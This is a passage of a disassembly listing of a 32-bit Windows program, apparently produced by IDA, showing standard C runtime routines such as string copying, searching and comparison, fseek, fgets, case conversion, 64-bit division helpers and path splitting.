		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1


loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62


loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55


loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84


loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72


loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7


loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi


loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi


loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50


loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01


loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax


loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9


loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B


loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A


loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h


loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_4CD9B4, 16h
		or	eax, 0FFFFFFFFh


loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx


loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx


loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A


loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB


loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A


loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4


loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC


loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90


loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83


loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl


loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi


loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C


loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------


loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi


loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50


loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B


loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68


loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86


loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi


loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]


loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx


loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029


loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0


loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi


loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4CDA48
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE


loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl


loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------


loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_433E7C, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162


loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232


loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF


loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi


loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------


loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0


loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375


loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4CEF01[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi


loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0


loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi


loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax


loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax


loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
